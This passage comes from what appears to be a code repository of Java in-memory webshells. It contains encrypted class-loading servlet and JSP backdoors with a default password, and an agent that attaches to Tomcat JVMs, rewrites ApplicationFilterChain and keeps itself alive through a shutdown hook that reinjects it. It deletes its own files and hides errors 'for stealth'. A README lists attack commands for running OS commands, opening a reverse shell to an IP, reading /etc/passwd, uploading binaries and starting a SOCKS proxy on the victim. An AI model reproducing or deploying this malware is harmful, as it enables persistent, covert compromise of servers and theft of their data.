b) { 30 | return super.defineClass(b, 0, b.length); 31 | } 32 | } 33 | 34 | public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException { 35 | doPost(request, response); 36 | } 37 | 38 | public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException { 39 | 40 | try { 41 | if (MyRequest.getMethod(request).equals("POST")) { 42 | String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/ 43 | MySession.setAttribute(MyRequest.getSession(request),"u", k); 44 | Cipher c = Cipher.getInstance("AES"); 45 | c.init(2, new SecretKeySpec(k.getBytes(), "AES")); 46 | Object[] objects = new Object[]{request,response,MyRequest.getSession(request)}; 47 | BufferedReader bf = MyRequest.getReader(request); 48 | 49 | byte[] evilClassBytes = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(bf.readLine())); 50 | 51 | String sb = new String(evilClassBytes); 52 | //MyResponse.getWriter(response).print(sb); 53 | Class evilClass = new U(this.getClass().getClassLoader()).g(evilClassBytes); 54 | Object a = evilClass.newInstance(); 55 | a.equals(objects); 56 | return; 57 | // Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 58 | // method.setAccessible(true); 59 | // byte[] bytes = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())); 60 | //// Object u = new U(this.getClass().getClassLoader()); 61 | //// u.g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(bf.readLine()))).newInstance().equals(objects); 62 | // ((Class) method.invoke(new URLClassLoader(new URL[]{}, this.getClass().getClassLoader()), bytes, 0, bytes.length)).newInstance().equals(objects); 63 | // if (MyRequest.getMethod(request).equals("POST")) { 64 | // Object session = MyRequest.getSession(request); 65 | // String k = "e45e329feb5d925b"; 66 | // MySession.setAttribute(session, "u", k); 67 | // Cipher c = Cipher.getInstance("AES"); 68 | // c.init(2, new SecretKeySpec(k.getBytes(), "AES")); 69 | // 70 | // Object[] objects = new Object[]{request, response, session}; 71 | // Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 72 | // method.setAccessible(true); 73 | // //BufferedReader bf = MyRequest.getReader(request); 74 | // byte[] bytes = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())); 75 | // ((Class) method.invoke(new URLClassLoader(new URL[]{}, this.getClass().getClassLoader()), bytes, 0, bytes.length)).newInstance().equals(objects); 76 | // return; 77 | // //new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(objects); 78 | } 79 | } catch (Exception e) { 80 | e.printStackTrace(); 81 | } 82 | 83 | } 84 | 85 | } 86 | -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/linux_agent/memShell/src/net/rebeyond/memshell/redefine/MyRequest.java: -------------------------------------------------------------------------------- 1 | package net.rebeyond.memshell.redefine; 2 | import java.io.BufferedReader; 3 | import java.lang.reflect.InvocationTargetException; 4 | 5 | public class MyRequest { 6 | public static String getParameter(Object request,String name) throws Exception 7 | { 8 | return (String)request.getClass().getMethod("getParameter", String.class).invoke(request, name); 9 | } 10 | public static Object getServletContext(Object request) throws Exception 11 | { 12 | return request.getClass().getMethod("getServletContext", null).invoke(request, new Object[] {}); 13 | } 14 | public static String getHeader(Object request,String name) throws Exception 15 | { 16 | return (String)request.getClass().getMethod("getHeader", String.class).invoke(request, name); 17 | } 18 | 19 | public static Object getSession(Object request) throws Exception 20 | { 21 | return request.getClass().getMethod("getSession", null).invoke(request, new Object[] {}); 22 | } 23 | public static int getContentLength(Object request) throws Exception 24 | { 25 | return Integer.parseInt(request.getClass().getMethod("getContentLength", null).invoke(request, new Object[] {}).toString()); 26 | } 27 | 28 | public static Object getInputStream(Object request) throws Exception 29 | { 30 | return request.getClass().getMethod("getInputStream", null).invoke(request, new Object[] {}); 31 | } 32 | 33 | public static BufferedReader getReader(Object request) throws Exception { 34 | return (BufferedReader) request.getClass().getMethod("getReader", null).invoke(request,new Object[] {}); 35 | } 36 | 37 | public static String getMethod(Object request) throws Exception { 38 | return (String) request.getClass().getMethod("getMethod", null).invoke(request,new Object[] {}); 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/linux_agent/memShell/src/net/rebeyond/memshell/redefine/MyResponse.java: -------------------------------------------------------------------------------- 1 | package net.rebeyond.memshell.redefine; 2 | import java.io.PrintWriter; 3 | 4 | public class MyResponse { 5 | public static void setContentType(Object response,String arg) throws Exception 6 | { 7 | response.getClass().getMethod("setContentType", String.class).invoke(response, arg); 8 | } 9 | public static void setCharacterEncoding(Object response,String arg) throws Exception 10 | { 11 | response.getClass().getMethod("setCharacterEncoding", String.class).invoke(response, arg); 12 | } 13 | public static PrintWriter getWriter(Object response) throws Exception 14 | { 15 | return (PrintWriter)response.getClass().getMethod("getWriter",null).invoke(response, new Object[] {}); 16 | } 17 | 18 | public static void reset(Object response) throws Exception 19 | { 20 | response.getClass().getMethod("reset", null).invoke(response, new Object[] {}); 21 | } 22 | 23 | public static Object getOutputStream(Object response) throws Exception 24 | { 25 | return response.getClass().getMethod("getOutputStream", null).invoke(response, new Object[] {}); 26 | } 27 | public static void setHeader(Object response,String arg1,String arg2) throws Exception 28 | { 29 | response.getClass().getMethod("setHeader", String.class, String.class).invoke(response, arg1,arg2); 30 | } 31 | 32 | public static void setStatus(Object response, int arg1) throws Exception { 33 | response.getClass().getMethod("setStatus", Integer.class).invoke(response,arg1); 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/linux_agent/memShell/src/net/rebeyond/memshell/redefine/MyServletContext.java: -------------------------------------------------------------------------------- 1 | package net.rebeyond.memshell.redefine; 2 | 3 | public class MyServletContext { 4 | public static String getRealPath(Object servletContext ,String arg) throws Exception 5 | { 6 | return servletContext.getClass().getMethod("getRealPath", String.class).invoke(servletContext, arg).toString(); 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/linux_agent/memShell/src/net/rebeyond/memshell/redefine/MyServletInputStream.java: -------------------------------------------------------------------------------- 1 | package net.rebeyond.memshell.redefine; 2 | 3 | public class MyServletInputStream { 4 | public static void read(Object servletInputStream ,byte[] a,int b,int c) throws Exception 5 | { 6 | servletInputStream.getClass().getMethod("read", byte[].class,int.class,int.class).invoke(servletInputStream, a,b,c); 7 | } 8 | 9 | } 10 | -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/linux_agent/memShell/src/net/rebeyond/memshell/redefine/MyServletOutputStream.java: -------------------------------------------------------------------------------- 1 | package net.rebeyond.memshell.redefine; 2 | 3 | public class MyServletOutputStream { 4 | public static void write(Object servletOutputStream ,byte[] a,int b,int c) throws Exception 5 | { 6 | servletOutputStream.getClass().getMethod("write", byte[].class,int.class,int.class).invoke(servletOutputStream, a,b,c); 7 | } 8 | 9 | public static void close(Object servletOutputStream ) throws Exception 10 | { 11 | servletOutputStream.getClass().getMethod("close",null).invoke(servletOutputStream,new Object[] {}); 12 | } 13 | 14 | public static void flush(Object servletOutputStream ) throws Exception 15 | { 16 | servletOutputStream.getClass().getMethod("flush",null).invoke(servletOutputStream,new Object[] {}); 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/linux_agent/memShell/src/net/rebeyond/memshell/redefine/MySession.java: -------------------------------------------------------------------------------- 1 | package net.rebeyond.memshell.redefine; 2 | 3 | 4 | import java.util.Enumeration; 5 | 6 | public class MySession { 7 | public static void setAttribute(Object httpSession,String arg1,Object arg2) throws Exception 8 | { 9 | httpSession.getClass().getMethod("setAttribute",String.class,Object.class).invoke(httpSession, arg1,arg2); 10 | } 11 | 12 | public static Object getAttribute(Object httpSession,String arg1) throws Exception 13 | { 14 | return httpSession.getClass().getMethod("getAttribute",String.class).invoke(httpSession, arg1); 15 | } 16 | 17 | 18 | public static void invalidate(Object httpSession) throws Exception 19 | { 20 | httpSession.getClass().getMethod("invalidate",null).invoke(httpSession, new Object[] {}); 21 | } 22 | 23 | public static void removeAttribute(Object httpSession, String arg1) throws Exception 24 | { 25 | httpSession.getClass().getMethod("removeAttribute",null).invoke(httpSession, arg1); 26 | } 27 | 28 | public static Enumeration getAttributeNames (Object httpSession) throws Exception{ 29 | return (Enumeration) httpSession.getClass().getMethod("getAttributeNames",null).invoke(httpSession); 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/linux_inject/memShell/.classpath: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/linux_inject/memShell/.fatjar: -------------------------------------------------------------------------------- 1 | #Fat Jar Configuration File 2 | #Wed May 23 12:38:25 CST 2018 3 | onejar.license.required=true 4 | manifest.classpath= 5 | manifest.removesigners=true 6 | onejar.checkbox=false 7 | jarname=E\:/agent.jar 8 | manifest.mergeall=true 9 | manifest.mainclass=Attach 10 | manifest.file=src\\META-INF\\MANIFEST.MF 11 | jarname.isextern=true 12 | onejar.expand= 13 | excludes=;;;;;;;;;;;;;;;;;;;;; 14 | includes= 15 | -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/linux_inject/memShell/.project: -------------------------------------------------------------------------------- 1 | 2 | 3 | memShell 4 | 5 | 6 | 7 | 8 | 9 | org.eclipse.jdt.core.javabuilder 10 | 11 | 12 | 13 | 14 | org.eclipse.m2e.core.maven2Builder 15 | 16 | 17 | 18 | 19 | 20 | org.eclipse.m2e.core.maven2Nature 21 | org.eclipse.jdt.core.javanature 22 | 23 | 24 | -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/linux_inject/memShell/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Main-Class: net.rebeyond.memshell.Attach 3 | 4 | -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/linux_inject/memShell/README.md: -------------------------------------------------------------------------------- 1 | # memShell 2 | a webshell resides in the memory of java web server 3 | 4 | # install 5 | * unzip memShell.zip 6 | * cd memShell 7 | * java -jar inject.jar 8 | # usage 9 | * anyurl?pass_the_world=pass //show this help page. 10 | * anyurl?pass_the_world=pass&model=exec&cmd=whoami //run os command. 11 | * anyurl?pass_the_world=pass&model=connectback&ip=8.8.8.8&port=51 //reverse a shell back to 8.8.8.8 on port 51. 12 | * anyurl?pass_the_world=pass&model=urldownload&url=http://xxx.com/test.pdf&path=/tmp/test.pdf //download a remote file via the victim's network directly. 13 | * anyurl?pass_the_world=pass&model=list[del|show]&path=/etc/passwd //list,delete,show the specified path or file. 14 | * anyurl?pass_the_world=pass&model=download&path=/etc/passwd //download the specified file on the victim's disk. 15 | * anyurl?pass_the_world=pass&model=upload&path=/tmp/a.elf&content=this_is_content[&type=b] //upload a text file or a base64 encoded binary file to the victim's disk. 16 | * anyurl?pass_the_world=pass&model=proxy //start a socks proxy server on the victim. 17 | * anyurl?pass_the_world=pass&model=chopper //start a chopper server agent on the victim. 18 | 19 | **!!!It is recommended to use the POST method to submit data.** 20 | 21 | # note 22 | For learning exchanges only, do not use for illegal purposes.by rebeyond. 23 | -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/linux_inject/memShell/inject.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/linux_inject/memShell/lib/agent.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jweny/MemShellDemo/3ed66da4eb6d24f406b9e1641a4ee12ac617f590/MemShellForJava/字节码增强型/retransform字节码/linux_inject/memShell/lib/agent.jar -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/linux_inject/memShell/lib/inject.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jweny/MemShellDemo/3ed66da4eb6d24f406b9e1641a4ee12ac617f590/MemShellForJava/字节码增强型/retransform字节码/linux_inject/memShell/lib/inject.jar -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/linux_inject/memShell/lib/javax.servlet-api-3.1.0.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jweny/MemShellDemo/3ed66da4eb6d24f406b9e1641a4ee12ac617f590/MemShellForJava/字节码增强型/retransform字节码/linux_inject/memShell/lib/javax.servlet-api-3.1.0.jar -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/linux_inject/memShell/out/agent.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jweny/MemShellDemo/3ed66da4eb6d24f406b9e1641a4ee12ac617f590/MemShellForJava/字节码增强型/retransform字节码/linux_inject/memShell/out/agent.jar -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/linux_inject/memShell/out/inject.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jweny/MemShellDemo/3ed66da4eb6d24f406b9e1641a4ee12ac617f590/MemShellForJava/字节码增强型/retransform字节码/linux_inject/memShell/out/inject.jar -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/linux_inject/memShell/out/shell_3_0_2.jsp: -------------------------------------------------------------------------------- 1 | <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %> 2 | <%! 3 | class U extends ClassLoader { 4 | U(ClassLoader c) { 5 | super(c); 6 | } 7 | 8 | public Class g(byte[] b) { 9 | return super.defineClass(b, 0, b.length); 10 | } 11 | } 12 | %><% 13 | if (request.getMethod().equals("POST")) { 14 | String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/ 15 | session.putValue("u", k); 16 | Cipher c = Cipher.getInstance("AES"); 17 | c.init(2, new SecretKeySpec(k.getBytes(), "AES")); 18 | new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(new Object[]{request,response,session}); 19 | } 20 | %> -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/linux_inject/memShell/out/shell_3_0_5.jsp: -------------------------------------------------------------------------------- 1 | <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%> -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/linux_inject/memShell/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 4.0.0 3 | ParaShell 4 | ParaShell 5 | 0.0.1-SNAPSHOT 6 | 7 | src 8 | 9 | 10 | maven-compiler-plugin 11 | 3.6.1 12 | 13 | 1.6 14 | 1.6 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | org.javassist 23 | javassist 24 | 3.22.0-GA 25 | 26 | 27 | -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/linux_inject/memShell/src/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Agent-Class: net.rebeyond.memshell.Agent 3 | Can-Retransform-Classes: true -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/linux_inject/memShell/src/net/rebeyond/memshell/Agent.java: -------------------------------------------------------------------------------- 1 | package net.rebeyond.memshell; 2 | import java.io.BufferedReader; 3 | import java.io.File; 4 | import java.io.FileInputStream; 5 | import java.io.FileOutputStream; 6 | import java.io.InputStream; 7 | import java.io.InputStreamReader; 8 | import java.lang.instrument.Instrumentation; 9 | import java.lang.management.ManagementFactory; 10 | import java.lang.management.RuntimeMXBean; 11 | import java.net.HttpURLConnection; 12 | import java.net.InetAddress; 13 | import java.net.URL; 14 | import java.util.Arrays; 15 | import java.util.Set; 16 | 17 | import javax.management.MBeanServer; 18 | import javax.management.ObjectName; 19 | import javax.management.Query; 20 | 21 | public class Agent { 22 | public static String className = "org.apache.catalina.core.ApplicationFilterChain"; 23 | public static byte[] injectFileBytes = new byte[] {}, agentFileBytes = new byte[] {}; 24 | public static String currentPath; 25 | public static String password = "rebeyond"; 26 | 27 | public static void agentmain(String agentArgs, Instrumentation inst) { 28 | inst.addTransformer(new Transformer(), true); 29 | if (agentArgs.indexOf("^") >= 0) { 30 | Agent.currentPath = agentArgs.split("\\^")[0]; 31 | Agent.password = agentArgs.split("\\^")[1]; 32 | } else { 33 | Agent.currentPath = agentArgs; 34 | } 35 | System.out.println("Agent Main Done"); 36 | Class[] loadedClasses = inst.getAllLoadedClasses(); 37 | for (Class c : loadedClasses) { 38 | if (c.getName().equals(className)) { 39 | try { 40 | inst.retransformClasses(c); 41 | } catch (Exception e) { 42 | // TODO Auto-generated catch block 43 | e.printStackTrace(); 44 | } 45 | } 46 | } 47 | 48 | try { 49 | initLoad(); 50 | readInjectFile(Agent.currentPath); 51 | readAgentFile(Agent.currentPath); 52 | clear(Agent.currentPath); 53 | } catch (Exception e) { 54 | // 为了隐蔽,不要打印异常信息 55 | } 56 | Agent.persist(); 57 | } 58 | 59 | public static void persist() { 60 | try { 61 | Thread t = new Thread() { 62 | public void run() { 63 | try { 64 | writeFiles("inject.jar", Agent.injectFileBytes); 65 | writeFiles("agent.jar", Agent.agentFileBytes); 66 | startInject(); 67 | } catch (Exception e) { 68 | 69 | } 70 | } 71 | }; 72 | t.setName("shutdown Thread"); 73 | Runtime.getRuntime().addShutdownHook(t); 74 | } catch (Throwable t) { 75 | 76 | } 77 | } 78 | 79 | public static void writeFiles(String fileName, byte[] data) throws Exception { 80 | String tempFolder = System.getProperty("java.io.tmpdir"); 81 | FileOutputStream fso = new FileOutputStream(tempFolder + File.separator + fileName); 82 | fso.write(data); 83 | fso.close(); 84 | } 85 | 86 | public static void readInjectFile(String filePath) throws Exception { 87 | String fileName = "inject.jar"; 88 | File f = new File(filePath + File.separator + fileName); 89 | if (!f.exists()) { 90 | f = new File(System.getProperty("java.io.tmpdir") + File.separator + fileName); 91 | } 92 | InputStream is = new FileInputStream(f); 93 | byte[] bytes = new byte[1024 * 100]; 94 | int num = 0; 95 | while ((num = is.read(bytes)) != -1) { 96 | injectFileBytes = mergeByteArray(injectFileBytes, Arrays.copyOfRange(bytes, 0, num)); 97 | } 98 | is.close(); 99 | } 100 | 101 | public static void readAgentFile(String filePath) throws Exception { 102 | String fileName = "agent.jar"; 103 | File f = new File(filePath + File.separator + fileName); 104 | if (!f.exists()) { 105 | f = new File(System.getProperty("java.io.tmpdir") + File.separator + fileName); 106 | } 107 | InputStream is = new FileInputStream(f); 108 | byte[] bytes = new byte[1024 * 100]; 109 | int num = 0; 110 | while ((num = is.read(bytes)) != -1) { 111 | agentFileBytes = mergeByteArray(agentFileBytes, Arrays.copyOfRange(bytes, 0, num)); 112 | } 113 | is.close(); 114 | } 115 | 116 | public static void startInject() throws Exception { 117 | Thread.sleep(2000); 118 | String tempFolder = System.getProperty("java.io.tmpdir"); 119 | String cmd = "java -jar " + tempFolder + File.separator + "inject.jar " + Agent.password; 120 | Runtime.getRuntime().exec(cmd); 121 | } 122 | 123 | public static void main(String[] args) { 124 | try { 125 | readAgentFile("e:/"); 126 | String tempPath = Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath(); 127 | 128 | String agentFile = Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath().substring(0, 129 | tempPath.lastIndexOf("/")); 130 | } catch (Exception e) { 131 | // TODO Auto-generated catch block 132 | e.printStackTrace(); 133 | } 134 | } 135 | 136 | static byte[] mergeByteArray(byte[]... byteArray) { 137 | int totalLength = 0; 138 | for (int i = 0; i < byteArray.length; i++) { 139 | if (byteArray[i] == null) { 140 | continue; 141 | } 142 | totalLength += byteArray[i].length; 143 | } 144 | 145 | byte[] result = new byte[totalLength]; 146 | int cur = 0; 147 | for (int i = 0; i < byteArray.length; i++) { 148 | if (byteArray[i] == null) { 149 | continue; 150 | } 151 | System.arraycopy(byteArray[i], 0, result, cur, byteArray[i].length); 152 | cur += byteArray[i].length; 153 | } 154 | 155 | return result; 156 | } 157 | 158 | public static void clear(String currentPath) throws Exception { 159 | Thread clearThread = new Thread() { 160 | String currentPath = Agent.currentPath; 161 | 162 | public void run() { 163 | try { 164 | Thread.sleep(5000); 165 | String injectFile = currentPath + "inject.jar"; 166 | String agentFile = currentPath + "agent.jar"; 167 | new File(injectFile).getCanonicalFile().delete(); 168 | String OS = System.getProperty("os.name").toLowerCase(); 169 | if (OS.indexOf("windows") >= 0) { 170 | try { 171 | unlockFile(currentPath); 172 | } catch (Exception e) { 173 | e.printStackTrace(); 174 | } 175 | } 176 | new File(agentFile).delete(); 177 | } catch (Exception e) { 178 | //pass 179 | } 180 | } 181 | }; 182 | clearThread.start(); 183 | 184 | } 185 | 186 | public static void unlockFile(String currentPath) throws Exception { 187 | String exePath = currentPath + "foreceDelete.exe"; 188 | InputStream is = Agent.class.getClassLoader().getResourceAsStream("other/forcedelete.exe"); 189 | FileOutputStream fos = new FileOutputStream(new File(exePath).getCanonicalPath()); 190 | byte[] bytes = new byte[1024 * 100]; 191 | int num = 0; 192 | while ((num = is.read(bytes)) != -1) { 193 | fos.write(bytes, 0, num); 194 | fos.flush(); 195 | } 196 | fos.close(); 197 | is.close(); 198 | Process process = java.lang.Runtime.getRuntime().exec(exePath + " " + getCurrentPid()); 199 | try { 200 | process.waitFor(); 201 | } catch (InterruptedException e) { 202 | // TODO Auto-generated catch block 203 | e.printStackTrace(); 204 | } 205 | new File(exePath).delete(); 206 | } 207 | 208 | public static String getCurrentPid() { 209 | RuntimeMXBean runtimeMXBean = ManagementFactory.getRuntimeMXBean(); 210 | return runtimeMXBean.getName().split("@")[0]; 211 | } 212 | 213 | public static void initLoad() throws Exception { 214 | try { 215 | MBeanServer beanServer = ManagementFactory.getPlatformMBeanServer(); 216 | Set objectNames = beanServer.queryNames(new ObjectName("*:type=Connector,*"), 217 | Query.match(Query.attr("protocol"), Query.value("HTTP/1.1"))); 218 | //String host = InetAddress.getLocalHost().getHostAddress(); 219 | String host = "127.0.0.1"; 220 | String port = objectNames.iterator().next().getKeyProperty("port"); 221 | String url = "http" + "://" + host + ":" + port; 222 | String[] models = new String[] { "model=exec&cmd=whoami", "model=proxy", "model=chopper", "model=list&path=.", 223 | "model=urldownload&url=https://www.baidu.com/robots.txt&path=not_exist:/not_exist" }; 224 | for (String model : models) { 225 | String address = url + "/robots.txt?" + "pass_the_world=" + Agent.password + "&" + model; 226 | openUrl(address); 227 | } 228 | } 229 | catch(Exception e) 230 | { 231 | //pass 232 | } 233 | } 234 | 235 | public static void openUrl(String address) throws Exception { 236 | URL url = new URL(address); 237 | HttpURLConnection urlcon = (HttpURLConnection) url.openConnection(); 238 | urlcon.connect(); // 获取连接 239 | InputStream is = urlcon.getInputStream(); 240 | BufferedReader buffer = new BufferedReader(new InputStreamReader(is)); 241 | StringBuffer bs = new StringBuffer(); 242 | String l = null; 243 | while ((l = buffer.readLine()) != null) { 244 | bs.append(l).append("\n"); 245 | } 246 | } 247 | } 248 | -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/linux_inject/memShell/src/net/rebeyond/memshell/Attach.java: -------------------------------------------------------------------------------- 1 | // 2 | // Source code recreated from a .class file by IntelliJ IDEA 3 | // (powered by Fernflower decompiler) 4 | // 5 | 6 | package net.rebeyond.memshell; 7 | 8 | import com.sun.tools.attach.VirtualMachine; 9 | import com.sun.tools.attach.VirtualMachineDescriptor; 10 | import java.io.File; 11 | import java.util.Iterator; 12 | import java.util.List; 13 | 14 | public class Attach { 15 | public Attach() { 16 | } 17 | 18 | public static void main(String[] args) throws Exception { 19 | if (args.length != 1) { 20 | System.out.println("Usage:java -jar inject.jar password"); 21 | } else { 22 | VirtualMachine vm = null; 23 | List vmList = null; 24 | String password = args[0]; 25 | String currentPath = Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath(); 26 | currentPath = currentPath.substring(0, currentPath.lastIndexOf("/") + 1); 27 | String agentFile = currentPath + "agent.jar"; 28 | agentFile = (new File(agentFile)).getCanonicalPath(); 29 | String agentArgs = currentPath; 30 | if (!password.equals("") || password != null) { 31 | agentArgs = currentPath + "^" + password; 32 | } 33 | 34 | while(true) { 35 | while(true) { 36 | try { 37 | vmList = VirtualMachine.list(); 38 | if (vmList.size() > 0) { 39 | Iterator var7 = vmList.iterator(); 40 | 41 | while(var7.hasNext()) { 42 | VirtualMachineDescriptor vmd = (VirtualMachineDescriptor)var7.next(); 43 | if (vmd.displayName().indexOf("catalina") >= 0 || vmd.displayName().equals("")) { 44 | vm = VirtualMachine.attach(vmd); 45 | if (!vmd.displayName().equals("") || vm.getSystemProperties().containsKey("catalina.home")) { 46 | System.out.println("[+]OK.i find a jvm."); 47 | Thread.sleep(1000L); 48 | if (null != vm) { 49 | vm.loadAgent(agentFile, agentArgs); 50 | System.out.println("[+]memeShell is injected."); 51 | vm.detach(); 52 | return; 53 | } 54 | } 55 | } 56 | } 57 | 58 | Thread.sleep(3000L); 59 | } 60 | } catch (Exception var9) { 61 | var9.printStackTrace(); 62 | } 63 | } 64 | } 65 | } 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /MemShellForJava/字节码增强型/retransform字节码/linux_inject/memShell/src/net/rebeyond/memshell/Evaluate.java: -------------------------------------------------------------------------------- 1 | package net.rebeyond.memshell; 2 | 3 | 4 | import java.io.BufferedInputStream; 5 | import java.io.BufferedReader; 6 | import java.io.BufferedWriter; 7 | import java.io.File; 8 | import java.io.FileInputStream; 9 | import java.io.FileOutputStream; 10 | import java.io.IOException; 11 | import java.io.InputStream; 12 | import java.io.InputStreamReader; 13 | import java.io.OutputStreamWriter; 14 | import java.io.PrintWriter; 15 | import java.net.HttpURLConnection; 16 | import java.net.URL; 17 | import java.sql.Connection; 18 | import java.sql.DriverManager; 19 | import java.sql.ResultSet; 20 | import java.sql.ResultSetMetaData; 21 | import java.sql.Statement; 22 | import java.text.SimpleDateFormat; 23 | 24 | 25 | import javax.servlet.ServletOutputStream; 26 | import javax.servlet.ServletRequest; 27 | import javax.servlet.ServletResponse; 28 | 29 | import net.rebeyond.memshell.redefine.MyRequest; 30 | import net.rebeyond.memshell.redefine.MyResponse; 31 | import net.rebeyond.memshell.redefine.MyServletContext; 32 | import net.rebeyond.memshell.redefine.MyServletOutputStream; 33 | 34 | public class Evaluate { 35 | 36 | private static final long serialVersionUID = 1L; 37 | 38 | String Pwd = "023"; 39 | String cs = "UTF-8"; 40 | 41 | String EC(String s) throws Exception { 42 | return new String(s.getBytes("ISO-8859-1"),cs); 43 | } 44 | 45 | Connection GC(String s) throws Exception { 46 | String[] x = s.trim().split("\r\n"); 47 | Class.forName(x[0].trim()); 48 | if(x[1].indexOf("jdbc:oracle")!=-1){ 49 | return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]); 50 | }else{ 51 | Connection c = DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]); 52 | if (x.length > 4) { 53 | c.setCatalog(x[4]); 54 | } 55 | return c; 56 | } 57 | } 58 | 59 | void AA(StringBuffer sb) throws Exception { 60 | File r[] = File.listRoots(); 61 | for (int i = 0; i < r.length; i++) { 62 | sb.append(r[i].toString().substring(0, 2)); 63 | } 64 | } 65 | 66 | void BB(String s, StringBuffer sb) throws Exception { 67 | File oF = new File(s), l[] = oF.listFiles(); 68 | String sT, sQ, sF = ""; 69 | java.util.Date dt; 70 | SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 71 | for (int i = 0; i < l.length; i++) { 72 | dt = new java.util.Date(l[i].lastModified()); 73 | sT = fm.format(dt); 74 | sQ = l[i].canRead() ? "R" : ""; 75 | sQ += l[i].canWrite() ? " W" : ""; 76 | if (l[i].isDirectory()) { 77 | sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()+ "\t" + sQ + "\n"); 78 | } else { 79 | sF+=l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"+ sQ + "\n"; 80 | } 81 | } 82 | sb.append(sF); 83 | } 84 | 85 | void EE(String s) throws Exception { 86 | File f = new File(s); 87 | if (f.isDirectory()) { 88 | File x[] = f.listFiles(); 89 | for (int k = 0; k < x.length; k++) { 90 | if (!x[k].delete()) { 91 | EE(x[k].getPath()); 92 | } 93 | } 94 | } 95 | f.delete(); 96 | } 97 | 98 | void FF(String s, ServletResponse r) throws Exception { 99 | int n; 100 | byte[] b = new byte[512]; 101 | //r.reset(); 102 | MyResponse.reset(r); 103 | //ServletOutputStream os = r.getOutputStream(); 104 | Object os = MyResponse.getOutputStream(r); 105 | BufferedInputStream is = new BufferedInputStream(new FileInputStream(s)); 106 | //os.write(("->" + "|").getBytes(), 0, 3); 107 | MyServletOutputStream.write(os,("->" + "|").getBytes(), 0, 3); 108 | while ((n = is.read(b, 0, 512)) != 